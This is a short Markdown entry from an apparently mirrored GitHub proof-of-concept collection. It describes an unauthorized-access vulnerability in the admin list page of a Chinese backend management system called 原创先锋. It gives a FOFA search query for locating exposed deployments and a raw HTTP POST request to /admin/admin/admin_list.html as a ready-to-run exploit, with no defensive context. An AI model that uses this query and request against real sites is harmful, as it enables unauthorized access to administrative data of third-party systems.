mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
17 lines
388 B
Markdown
17 lines
388 B
Markdown
|
# 原创先锋后台管理admin_list存在未授权访问
|
||
|
|
|
||
|
|
# fofa
|
||
|
|
```
|
||
|
|
body="https://www.bjycxf.com"
|
||
|
|
```
|
||
|
|
|
||
|
|
# poc
|
||
|
|
```javasrcipt
|
||
|
|
POST /admin/admin/admin_list.html HTTP/1.1
|
||
|
|
Host:
|
||
|
|
Content-Type: application/json
|
||
|
|
Accept-Encoding: gzip
|
||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
|
||
|
|
Transfer-Encoding: chunked
|
||
|
|
```
|